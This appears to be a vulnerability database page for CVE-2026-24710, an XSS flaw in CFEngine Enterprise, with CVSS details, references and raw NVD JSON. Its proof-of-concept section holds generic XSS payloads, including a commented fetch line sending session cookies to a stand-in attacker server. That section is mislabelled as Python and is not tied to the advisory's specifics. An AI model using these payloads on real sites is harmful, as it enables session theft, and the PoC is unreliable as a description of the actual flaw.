CVE-2026-24710

Description

Northern.tech CFEngine Enterprise before 3.21.8, 3.24.3, and 3.27.0 allows XSS.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Northern.tech CFEngine Enterprise < 3.21.8

Northern.tech CFEngine Enterprise < 3.24.3

Northern.tech CFEngine Enterprise < 3.27.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for Stored XSS in CFEngine Enterprise -->
<!-- Inject this payload into a vulnerable input field -->
<script>
  // Verify vulnerability execution
  alert('XSS Vulnerability Confirmed - CVE-2026-24710');

  // Example: Exfiltrate session cookies
  // fetch('https://attacker-controlled-server.com/collect?cookie=' + encodeURIComponent(document.cookie));
</script>

<!-- Alternative Image Tag Payload -->
<img src=x onerror=alert('CVE-2026-24710')>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24710
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24710
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24710/
[4] VulDB https://vuldb.com/cve/CVE-2026-24710
[5] https://cfengine.com/blog/2026/cve-2026-24710-and-cve-2026-24711-and-cve-2026-24712/
[6] https://northern.tech

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24710", "sourceIdentifier": "[email protected]", "published": "2026-05-14T15:16:44.710", "lastModified": "2026-05-14T17:06:08.693", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Northern.tech CFEngine Enterprise before 3.21.8, 3.24.3, and 3.27.0 allows XSS."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cfengine.com/blog/2026/cve-2026-24710-and-cve-2026-24711-and-cve-2026-24712/", "source": "[email protected]"}, {"url": "https://northern.tech", "source": "[email protected]"}]}}